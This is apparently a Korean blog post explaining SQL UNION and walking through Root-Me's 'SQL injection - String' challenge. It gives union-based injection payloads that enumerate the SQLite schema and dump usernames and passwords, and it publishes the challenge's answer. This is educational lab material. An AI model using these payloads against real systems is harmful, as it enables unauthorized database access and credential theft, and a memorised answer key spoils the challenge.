Union SQL Injection

M200is·2023년 10월 28일
0

Web hacking

목록 보기
4/4
post-thumbnail

UNION문


UNION과 UNION ALL이 있고 두개의 SQL 쿼리문의 결과를 하나로 통합해주는 명령어이다.
UNION과 UNION ALL의 차이는 중복을 허용하느냐 아니냐의 차이로 ALL은 이름처럼 중복까지 모두 허용한다.

mysql> SELECT 1, 2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
mysql> SELECT 'a', 'b';
+---+---+
| a | b |
+---+---+
| a | b |
+---+---+
mysql> SELECT 1, 2 UNION SELECT 'a', 'b';
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
| a | b |
+---+---+

mySQL의 문서의 UNION문 예시이다.

Union SQL Injection


Union 문을 이용해 원하는 sql 구문을 실행하는 공격이다.

rootme의 SQL injection - String으로 알아보자.
administrator 비밀번호가 답이다.

게시판이다. search에서 sql injection이 되는지 보자.

' or 1=1-- -
이 통하는 걸 보니 가능하다.
우선 컬럼 개수를 알기 위해 ' union select 1,2~-- -를 차례로 시도해 보자


컬럼 개수가 2개이고 SQLite3를 사용한단 것을 알 수 있다.
SQLite3에서는

' union select 1,sql from sqlite_master-- -

로 데이터베이스 정보를 알 수 있다.

users 테이블에 username과 password가 있다.
그러면 이제

' union select username,password from users-- -

으로 데이터를 얻을 수 있다.

답은 c4K04dtIaJsuWdi이다.

이 문제에서는 컬럼의 데이터형이 맞아서 바로 가능했지만 다른 문제에서는 컬럼별로 데이터형이 다를 있기 때문에 맞추어서 넣어줘야 한다.
오늘(10/28) 진행중인 Dreamhack CTF Season 4 Round #8에 그런 문제가 있었다.

profile
M200islove

0개의 댓글